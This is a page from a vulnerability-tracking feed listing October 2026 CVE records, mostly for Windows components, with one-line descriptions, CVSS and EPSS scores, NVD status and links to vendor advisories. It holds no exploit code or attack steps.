https://kevwire.com/record/CVE-2026-85808
Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85808).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85808&date=2026-10-25).
Sources:
NVD CVE-2026-85808: https://nvd.nist.gov/vuln/detail/CVE-2026-85808
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85808
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85808&date=2026-10-25
Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine
https://kevwire.com/record/CVE-2026-85809
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine (Oct 13, 2026).
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85809).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85809&date=2026-10-25).
Sources:
NVD CVE-2026-85809: https://nvd.nist.gov/vuln/detail/CVE-2026-85809
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85809
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85809&date=2026-10-25
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96920
Heap-based buffer overflow in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96920).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96920&date=2026-10-25).
Sources:
NVD CVE-2026-96920: https://nvd.nist.gov/vuln/detail/CVE-2026-96920
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96920
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96920&date=2026-10-25
Heap-based buffer overflow in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85810
Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85810).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85810&date=2026-10-25).
Sources:
NVD CVE-2026-85810: https://nvd.nist.gov/vuln/detail/CVE-2026-85810
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85810
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85810&date=2026-10-25
Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Workstation Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96923
Use after free in Windows Workstation Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Workstation Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96923).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96923&date=2026-10-25).
Sources:
NVD CVE-2026-96923: https://nvd.nist.gov/vuln/detail/CVE-2026-96923
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96923
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96923&date=2026-10-25
Use after free in Windows Workstation Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows OLE allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96924
Untrusted pointer dereference in Windows OLE allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Untrusted pointer dereference in Windows OLE allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96924).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96924&date=2026-10-25).
Sources:
NVD CVE-2026-96924: https://nvd.nist.gov/vuln/detail/CVE-2026-96924
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96924
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96924&date=2026-10-25
Untrusted pointer dereference in Windows OLE allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over an adjacent network.
https://kevwire.com/record/CVE-2026-85811
Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over an adjacent network. (Oct 13, 2026).
Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over an adjacent network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85811).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85811&date=2026-10-25).
Sources:
NVD CVE-2026-85811: https://nvd.nist.gov/vuln/detail/CVE-2026-85811
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85811
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85811&date=2026-10-25
Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over an adjacent network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96928
Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96928).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96928&date=2026-10-25).
Sources:
NVD CVE-2026-96928: https://nvd.nist.gov/vuln/detail/CVE-2026-96928
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96928
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96928&date=2026-10-25
Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96929
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96929).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96929&date=2026-10-25).
Sources:
NVD CVE-2026-96929: https://nvd.nist.gov/vuln/detail/CVE-2026-96929
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96929
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96929&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85814
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85814).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85814&date=2026-10-25).
Sources:
NVD CVE-2026-85814: https://nvd.nist.gov/vuln/detail/CVE-2026-85814
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85814
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85814&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96939
Time-of-check time-of-use (toctou) race condition in Servicing Stack Updates allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96939).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96939&date=2026-10-25).
Sources:
NVD CVE-2026-96939: https://nvd.nist.gov/vuln/detail/CVE-2026-96939
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96939
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96939&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96943
Integer overflow or wraparound in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Integer overflow or wraparound in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96943).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96943&date=2026-10-25).
Sources:
NVD CVE-2026-96943: https://nvd.nist.gov/vuln/detail/CVE-2026-96943
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96943
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96943&date=2026-10-25
Integer overflow or wraparound in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Observable discrepancy in Active Directory Federation Services (AD FS) allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-97788
Observable discrepancy in Active Directory Federation Services (AD FS) allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Observable discrepancy in Active Directory Federation Services (AD FS) allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97788).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97788&date=2026-10-25).
Sources:
NVD CVE-2026-97788: https://nvd.nist.gov/vuln/detail/CVE-2026-97788
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97788
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97788&date=2026-10-25
Observable discrepancy in Active Directory Federation Services (AD FS) allows an unauthorized attacker to disclose information over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97789
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97789).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97789&date=2026-10-25).
Sources:
NVD CVE-2026-97789: https://nvd.nist.gov/vuln/detail/CVE-2026-97789
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97789
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97789&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96843
Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96843).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96843&date=2026-10-25).
Sources:
NVD CVE-2026-96843: https://nvd.nist.gov/vuln/detail/CVE-2026-96843
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96843
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96843&date=2026-10-25
Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges over an adjacent network.
https://kevwire.com/record/CVE-2026-96844
Integer underflow (wrap or wraparound) in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges over an adjacent network. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges over an adjacent network.
CVSS 8.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96844).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96844&date=2026-10-25).
Sources:
NVD CVE-2026-96844: https://nvd.nist.gov/vuln/detail/CVE-2026-96844
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96844
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96844&date=2026-10-25
Integer underflow (wrap or wraparound) in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges over an adjacent network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96847
Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96847).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96847&date=2026-10-25).
Sources:
NVD CVE-2026-96847: https://nvd.nist.gov/vuln/detail/CVE-2026-96847
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96847
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96847&date=2026-10-25
Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in spice-server. Multiple migration data handlers use client-supplied offsets from SPICE_MSGC_MIGRATE_DATA messages without bounds validation, allowing a...
https://kevwire.com/record/CVE-2026-105958
A flaw was found in spice-server. Multiple migration data handlers use client-supplied offsets from SPICE_MSGC_MIGRATE_DATA messages without bounds validation, allowing a... (Oct 16, 2026).
A flaw was found in spice-server. Multiple migration data handlers use client-supplied offsets from SPICE_MSGC_MIGRATE_DATA messages without bounds validation, allowing a malicious authenticated SPICE client during VM live migration to read arbitrary heap memory or trigger heap corruption via out-of-bounds read and write operations on the message buffer.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105958).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105958&date=2026-10-25).
Sources:
NVD CVE-2026-105958: https://nvd.nist.gov/vuln/detail/CVE-2026-105958
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105958&date=2026-10-25
A flaw was found in spice-server. Multiple migration data handlers use client-supplied offsets from SPICE_MSGC_MIGRATE_DATA messages without bounds validation, allowing a malicious authenticated SPICE client during VM live migration to read arbitrary heap memory or trigger heap corruption via out-of-bounds read and write operations on the message buffer.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in spice-server. The GLZ encoder dictionary restore path truncates a size_t allocation size to int when calling the malloc callback, allowing a malicious...
https://kevwire.com/record/CVE-2026-105959
A flaw was found in spice-server. The GLZ encoder dictionary restore path truncates a size_t allocation size to int when calling the malloc callback, allowing a malicious... (Oct 16, 2026).
A flaw was found in spice-server. The GLZ encoder dictionary restore path truncates a size_t allocation size to int when calling the malloc callback, allowing a malicious authenticated SPICE client during VM live migration to trigger a massive heap buffer overflow by sending a crafted max_encoders value in migration data.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105959).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105959&date=2026-10-25).
Sources:
NVD CVE-2026-105959: https://nvd.nist.gov/vuln/detail/CVE-2026-105959
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105959&date=2026-10-25
A flaw was found in spice-server. The GLZ encoder dictionary restore path truncates a size_t allocation size to int when calling the malloc callback, allowing a malicious authenticated SPICE client during VM live migration to trigger a massive heap buffer overflow by sending a crafted max_encoders value in migration data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mattermost versions 11.10.x <= 11.10.0, 11.7.x <= 11.7.9, 11.9.x <= 11.9.1, 11.8.x <= 11.8.5 fail to verify the integrity of the SAML RelayState POST parameter which allows an...
https://kevwire.com/record/CVE-2026-16453
Mattermost versions 11.10.x <= 11.10.0, 11.7.x <= 11.7.9, 11.9.x <= 11.9.1, 11.8.x <= 11.8.5 fail to verify the integrity of the SAML RelayState POST parameter which allows an... (Oct 16, 2026).
Mattermost versions 11.10.x <= 11.10.0, 11.7.x <= 11.7.9, 11.9.x <= 11.9.1, 11.8.x <= 11.8.5 fail to verify the integrity of the SAML RelayState POST parameter which allows an authenticated SAML user to join any team, including invite-only teams, via forging the team_id or invite_id fields in the RelayState.. Mattermost Advisory ID: MMSA-2026-00727
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16453).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16453&date=2026-10-25).
Sources:
NVD CVE-2026-16453: https://nvd.nist.gov/vuln/detail/CVE-2026-16453
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16453&date=2026-10-25
Mattermost versions 11.10.x <= 11.10.0, 11.7.x <= 11.7.9, 11.9.x <= 11.9.1, 11.8.x <= 11.8.5 fail to verify the integrity of the SAML RelayState POST parameter which allows an authenticated SAML user to join any team, including invite-only teams, via forging the team_id or invite_id fields in the RelayState.. Mattermost Advisory ID: MMSA-2026-00727

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96852
Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96852).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96852&date=2026-10-25).
Sources:
NVD CVE-2026-96852: https://nvd.nist.gov/vuln/detail/CVE-2026-96852
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96852
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96852&date=2026-10-25
Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gumlet php-image-resize before 3.0.1 contains a denial of service vulnerability because the ImageResize constructor in lib/ImageResize.php passes images to GD imagecreatefrom*...
https://kevwire.com/record/CVE-2026-109398
Gumlet php-image-resize before 3.0.1 contains a denial of service vulnerability because the ImageResize constructor in lib/ImageResize.php passes images to GD imagecreatefrom*... (Oct 12, 2026).
Gumlet php-image-resize before 3.0.1 contains a denial of service vulnerability because the ImageResize constructor in lib/ImageResize.php passes images to GD imagecreatefrom* functions without pixel limits. Remote attackers can upload small, highly compressed images that decode to large bitmaps, exhausting PHP memory and terminating the worker process.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109398).
